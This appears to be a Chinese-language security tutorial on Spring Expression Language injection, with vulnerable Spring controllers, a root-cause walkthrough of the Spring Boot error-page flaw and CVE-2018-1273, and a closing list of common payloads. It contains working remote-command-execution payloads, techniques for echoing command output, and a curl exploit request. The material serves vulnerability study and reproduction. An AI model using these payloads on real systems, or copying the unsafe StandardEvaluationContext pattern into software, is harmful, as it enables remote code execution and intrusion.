SPEL注入分析
前言
本篇探讨一下关于SPEL注入漏洞实现命令执行的相关知识。
0x01 关于SPEL
SPEL简介
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
SPEL基础用法
1. 传递字符参数
@Controller
public class spel {
@RequestMapping("/spel")
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
}
2. 传递类方法
除了上面传递字符参数,还可以指定一个类使用一个类的类方法:
T(java.lang.Runtime).getRuntime().exec("calc")
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}
3. 实例化类执行方法
new 类名,可以直接new一个对象,再执行其中的方法
new java.lang.ProcessBuilder("open", "-a","Calculator").start()
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}
4. spel定界符
SpEL使用 #{...}
作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
其中属性名称引用还可以用$
符号 如:${someProperty}
除此以外在SpEL中,使用T()
运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math
类,我们可以像下面的示例这样使用T()
运算符:
\#{T(java.lang.Math)}
T()
运算符的结果会返回一个java.lang.Math
类对象。
0x02 SPEL命令执行回显
前面看到已经可以通过spel执行命令,现在看一下回显的方式
1. commons-io
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件
2. JShell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
3. JDK原生回显类BufferedReader
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()
但是这个类只能读取一行
4. Scanner回显
new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
0x03 SPEL漏洞复现
1. springboot的SPEL注入
影响版本:
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
修改pom:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
在启动是可能会报一个:Error:(4, 45) java: 程序包org.springframework.boot.test.context不存在,的错误,可能是版本过低导致,可以采用关闭测试类的方式解决:
<properties>
<java.version>1.8</java.version>
<!--关闭测试类-->
<skipTests>true</skipTests>
</properties>
然后 添加一个controller:
@Controller
public class TestController {
@RequestMapping("/")
public String test(String payload){
System.out.println("test");
throw new IllegalArgumentException(payload);
}
}
进行注入:
计算可以成功,但是计算器失败:
首先造成spel注入的主要是ErrorMvcAutoConfiguration.java
中的SpelView
类:
private static class SpelView implements View {
private final String template;
private final StandardEvaluationContext context = new StandardEvaluationContext();
private PropertyPlaceholderHelper helper;
private PlaceholderResolver resolver;
public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context);
}
public String getContentType() {
return "text/html";
}
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
if(response.getContentType() == null) {
response.setContentType(this.getContentType());
}
Map<String, Object> map = new HashMap(model);
map.put("path", request.getContextPath());
this.context.setRootObject(map);
String result = this.helper.replacePlaceholders(this.template, this.resolver);
response.getWriter().append(result);
}
}
SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据在SpelView中,我们可以看到使用了StandardEvaluationContext:
private final StandardEvaluationContext context = new StandardEvaluationContext();
this.helper = new PropertyPlaceholderHelper("${", "}");
用于递归解析在${...}
中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前context
中rootObject
取相关数据 如timestamp
然后PropertyPlaceholderHelper
类中通过parseStringValue
方法递归字符串找到目标去掉 $()
,这个方法中调用resolvePlaceholder
方法来在context
中找到对应的name
,并在这里执行了getValue
操作。由此造成命令执行:
public String resolvePlaceholder(String name) {
Expression expression = this.parser.parseExpression(name);
try {
Object value = expression.getValue(this.context);
return HtmlUtils.htmlEscape(value == null?null:value.toString());
} catch (Exception var4) {
return null;
}
}
这里面还有一个有意思的是直接用上面的payload去执行是不行的,原因是里面有一个convertToReference方法对特殊字符进行的编码,有兴趣可以查看一下参考文章的断点调试。
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
2. CVE-2018-1273 Spring Data Commons RCE
payload:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')]=test"
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
总结
常用payload
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()